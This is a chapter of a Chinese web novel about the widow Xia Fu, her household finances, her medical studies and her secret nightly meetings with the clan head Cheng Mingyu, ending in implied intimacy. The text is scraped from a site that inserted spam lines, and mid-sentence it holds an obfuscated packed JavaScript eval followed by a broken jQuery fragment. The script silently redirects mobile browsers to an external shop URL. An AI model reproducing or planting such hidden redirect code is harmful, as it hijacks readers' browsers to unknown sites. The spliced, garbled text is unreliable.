十月十四大清早张嬷嬷便带着人送来了八身新衣与两盒首饰。
其中四身秋衫四身冬衣。揉蓝衫子杏黄裙青绿织金锦褙石榴红镶金线的缕金裙碧罗裙百褶裙等再有几件新缝的斗篷皮子件件色泽明艳又不失端庄大气看得夏芙眼花缭乱叹为观止。
“这是大伯母为我置办的?”
太过华贵她如何穿得。
她守寡呢。
张嬷嬷笑容满面“总归是太太一片心意您就别推辞了再说下月月初便是咱们程家一年一度的亚岁宴届时阖族欢欢喜喜庆祝新年个个花枝招展满头珠翠您岂能穿单薄了?叫太太瞧在眼里指不定多心疼您权当为了太太着想也得收下这些。”
夏芙感恩大伯母一片爱护之心先收了下来“待会我去给大伯母磕个头。”
张嬷嬷闻言越发笑着掩了掩嘴“太太就料到您有孝心故而吩咐奴婢捎话给您说是这几日忙着盘账没工夫招呼您等回头得了空再请您过去话闲。”
夏芙晓得周氏从不是客套寒暄的性子便不坚持。
待张嬷嬷离去周嬷嬷带着两个小丫鬟将衣衫整好一件件叠去衣柜一会儿说料子难得一会儿说花样新鲜赞不绝口。
夏芙笑笑不说话。
文宁则迫不及待帮她将首饰盒子打开只见盒中垫着一层暗红绒布上面静静搁着数件精巧首饰映着窗棂透进来的光满室生辉。
有赤金衔珠步摇点翠蝴蝶簪羊脂玉禁步等铺排得满满当当件件工艺精湛价值不菲。文宁赶忙拖着夏芙来到梳妆台前坐下取出那支点翠蝴蝶簪轻轻往她发髻一比“二奶奶这一支簪子可衬您的肤色要不奴婢给您别上?”
翠蓝的翅羽薄如蝉翼银丝触须缀着米珠簪在发间微微一颤便像一只蝴蝶停在了鬓边栩栩如生。
当然好看。
比夏芙妆奁里任何一件首饰都好看。
夏芙在程家待了也有两年清楚地知道这些首饰衣裳是比着长房媳妇的规格给置办的。
大伯母嘴上不说心里实则一直拿她当自己人。本就拖累了人家还拿这么多好处夏芙心里过意不去默默将之收好搁在梳妆台一角。
念着时辰不早打算去给四太太请安怎奈还没出门那厢秋蕖却匆匆跨进了听雨阁将人给拦住了
“二奶奶太太吩咐奴婢过来知会您一声今个不必过去请安。”
这可是从未有过的事。
夏芙将秋蕖招进内室细问道“怎么回事?”
秋蕖先搀她在东窗下的圈椅落座随后坐在她脚跟前的锦杌
如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦
三少爷与大奶奶回来了。
夏芙一惊,“怎么突然回来了?唯恐金氏与程明同又闹什么么蛾子。
说起来秋蕖也极为头疼,解释道,“上回咱们太太将人打发回京城,不是吩咐大奶奶帮忙张罗三少爷的婚事么,这三月来,有媒人上门,大奶奶相中了几家,拿着底细来弘农讨太太示下。
“姑娘都是极好的,只是门第却有参差,出身好的那位姓刘,家风清正,可惜府上人口庞杂、开支不小,面上瞧着风光,内里却空虚,只怕嫁妆有限。另一位出身七品府邸,人丁简单,家底倒颇为殷实,听说祖上做过生意,如今就想攀咱们程家的高枝。
“听大奶奶的意思,咱三少爷相中了那位姓刘的姑娘,想聘来为妻。只是咱大奶奶打听过了,刘家自认颇有些门楣,要的聘礼不俗,如今四房公中吃紧,想叫太太劝三爷改个主意,聘了那位郝姑娘,郝姑娘若是嫁进程家算高嫁,嫁妆必定不菲。
夏芙毕竟是四房的人,自然也替婆母犯愁,“即便郝家嫁妆丰厚,单子却是要进戒律院的,岂能挪来公用?大嫂这个算盘怕是要落空。
秋蕖却道,“奶奶有所不知,这叫上有政令下有对策,戒律院虽有此律,难道底下人就没法子应对了?必得在过门前便与对方说明白,哪些是上嫁妆单子的,哪些是私下贴入程家的。
夏芙顿生悚然来,“这怎么可以?
秋蕖苦笑,压低声色道,“人家高嫁,为的是求程家庇护,自然得舍些银子出来呀。
程家素来不参与党争,矗立数百年而不倒,私下不少人家挤破脑袋想求程家一门婚,为的是躲进程家这颗大树下,规避朝争风雨,这已成为四海心照不宣的默契。
也就是说,郝家若想嫁女到程家,便得默认送一批银子进程府。
“偏生咱们三少爷相中了貌美的刘氏,不肯应大奶奶的差遣。
“那婆母的意思是?
秋蕖摇头,“奴婢去时,咱们太太并未表态,只悄悄吩咐奴婢来递个话,叫您别过去。
夏芙听明缘由,好一阵默然。
说到底,四房的日子实在捉襟见肘,花钱的地方多,进项却少,这家难当,也难怪大嫂生出这样的打算。
居安思危,夏芙不得不为将来打算。
“秋蕖,你这几日也来听雨阁住,白日咱们做些手工,攒些银两。待三弟娶了妻,四房的开支只会越来越大。婆母顾了大的,还得顾小的,定是左支右绌,难以为继。她这边若能省下些,也算帮衬婆母了。
秋蕖瞟着这优雅别致的听雨阁,暗想夏芙如今得了长房的庇护,还能短了吃喝?四房那趟浑水,怕是与
听说看这本书的人都是很幸运的,分享后你的运气会更棒
她无关了。可转念想到夏芙的性子不是肯受嗟来之食的人到底没将心里那层话说出来只乖顺地应道“都听您的奴婢这就去将那些针线篓子搬来听雨阁。”
夏芙看着她离开暗叹了一口气。
秋蕖眼底那点心思又如何能瞒住她她们一个个认定她攀上了程明昱从此高枕无忧。夏芙却不这么想孩子到底记在明佑名下便是四房的人总不能往后遇了事便伸手向长房要钱这种事夏芙做不出来。
秋蕖取针线篓的空挡夏芙习完了十页小楷如今她笔法越来越娴熟写起来快了许多果然是熟能生巧。比起初到听雨阁如今她忙得充实既要习字又要研读医书得了功夫还得配些药茶做些手工出去卖称得上脚不沾地。
上午读完书午后生了几分倦怠不宜动脑子便唤秋蕖将针线篓子给拿出来。
“今日做些什么呢?”夏芙琢磨着。
“上回太太做衣裳剩了些缂丝的边角料奴婢准备拿来做些抹额拿出去卖。缂丝料子好外头的婆子都当稀罕物。”
夏芙想“那我就便做香囊吧再配些百合菖蒲搁里头闻着也香。只是我针脚没你好回头你帮我缝边。”
主仆二人端来锦杌在听雨阁敞厅中对坐绣花。文宁无趣时不时蹲在水泊旁扔些水花来时不时又帮着二人扯几把线半日的功夫也极好打发。
中途乏了夏芙起身活动筋骨慢悠悠踱至内室喝茶时目光不经意落在梳妆台两个精致的锦盒锦盒通体以紫檀木为胎四周以螺钿、珊瑚、绿松、青金、珍珠、象牙等八料镶嵌出一幅芙蓉花鸟图单单这个锦盒便昂贵不已遑论里头的物件。
做他的妻子该是这世间最幸运的事吧不愁吃不愁穿有他遮风挡雨不用为生计所迫不用为前程发愁。夏芙始终忘不掉那一回被拖去林子里他从天而降的救赎。连族人他都护得那般周全枕边人还不知要如何娇宠。
人各有命。
羡慕不来。
就如她先是失祜后又丧夫一个人磕磕碰碰长大如浮萍一般没有归处。幸在如今拖长辈的福能得族长一些怜惜与庇护将来有个孩子也不至于孤苦伶仃。
夏芙拂去眼角的泪转身又笑吟吟地走进敞阁。
“方才的花样描好了吗我来照着你的绣。”
*
夜里程明昱照旧戌时二刻到这回将那五册医书给捎了来。
夏芙接过时满脸的震惊“不是说好要一月的吗?”
程明昱负手笑了笑没说话夏芙对上他清润的眼神登时明白过来定是家主吩咐人给她赶了急
听说看这本书的人都是很幸运的,分享后你的运气会更棒
册书敛衽朝他施礼“多谢家主。”
程明昱这回受了她的礼指着那册《女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17751641|209432||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
科辨冤录》“这本你也敢看?”
在程明昱印象里夏芙胆儿小见着这种书能不哭便算不错了若叫研读摘抄怕是为难了她。然小娘子总是能出乎他意料。
“为什么不敢看?”她兴致勃勃地回“我那日在藏书阁瞧见此书如获至宝高兴还来不及呢。家主您有所不知我祖母在世时便对此书求而不得我如今算是得偿所愿了!”夏芙笑吟吟的迫不及待一一翻开来瞧。
虽是抄本字迹却十分工整清秀观之如沐春风。
程明昱见她并无丝毫怯色十分纳罕“你打算做什么?”
夏芙目不转睛落在书册随口答他“我手里有不少祖母留下的医案与病方我打算编纂一册专治女科的方子。”
程明昱听了很是认可“这个想法不错府上明太医极擅女科遇见烦难之处可向他请教。”
夏芙笑着抬眼“我正有此意打算先将这些医书通读一遍摸着路子慢慢再编纂。”
编纂书册于程明昱而言是家常便饭少时他便曾帮着翰林院几位老学究编过经书然他却从不以自己的天去匡别人的天
“你尽管编回头我请人帮你校对再行刊印。”
夏芙蓦地抬眸怔怔看向他眼中似有薄光闪动“那可太好了我唯恐自己才疏学浅编不扎实。倘有错漏不能助人反害了人。若家主能寻人帮我校对便解了我后顾之忧。”
瞧他总是这般细心不吝啬施恩于人。
遇见他本身便是一种幸运。
夏芙觉着自己是幸运的。
程明昱莞尔扬手往琴台一指“好了书白日再看今夜先将那首曲子练好。”
夏芙倒也不迟疑将那五册医书搁去博古架随后净了手往琴台前坐下。
昨夜程明昱纠正了她错误的指法今日吩咐她一节节练习。
夏芙弹得极为认真程明昱教得也格外仔细。
不知不觉便到了戌时末平日这个时辰二人早上了榻今日却是沉浸在琴弦里谁也没提那一茬好似那张拔步床成了吃人的洪水猛兽化成了一滩随时能诱人沉沦的沼泽。
程明昱如此。
夏芙亦是如此。
然却不得不提。
他们终究不是来弹琴的。
最终还是夏芙主动打破僵局佯装无事地笑了笑“时辰不早了我为家主斟茶。”言罢便照旧递了一盏茶给他转身净手先上了床榻。
程明昱沉默地盯着那盏茶
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
,指腹缓缓擒着,在掌心转动半圈,依旧没喝,起身一言未发跟了去。
昨夜便不甚痛快,今夜更难,折腾片刻,两人各自靠在床榻一角不置一词。
原想专心致志完成任务,偏偏不能,不知从何时起,游走在四肢五骸里的渴望叫嚣地更厉害,轻易不能满足。
夏芙汗涔涔地埋首在掌心,乏力地喘着气。
今夜就此作罢,当然可以,只是明夜又当如何?总不能日日这般耗。
这一关总得越过去。
这个时候夏芙便无比庆幸过去程明佑玩得花样多,给了她足够的经验来解决眼前的难关。隐约记得有一回他很满足,当时做了什么来着。
哦,记起来了。
好不容易褪去的热浪,层层往上翻涌,险些要将夏芙给淹没。
夏芙害臊地捂了捂脸颊,咬了咬牙。
罢了,再豁出去一回。
程明佑是男人,家主也是男人,是男人便有共通之处。
拿定主意,夏芙朝昏暗里那道高大的身影望去,羞答答地问,
“家主,要不,咱们换一个...”
程明昱思绪被她拉回,下意识问,“换什么?”
哪怕这等情地,他的声线依然清冽好听。
夏芙说不出口,只慢吞吞调转身位,难为情地将小脸埋去了枕褥间。
总归瞧不见他,把他当自己的夫君又如何,不丢脸,夏芙这样给自己鼓劲。
待程明昱看清她的模样,眼神一瞬发暗。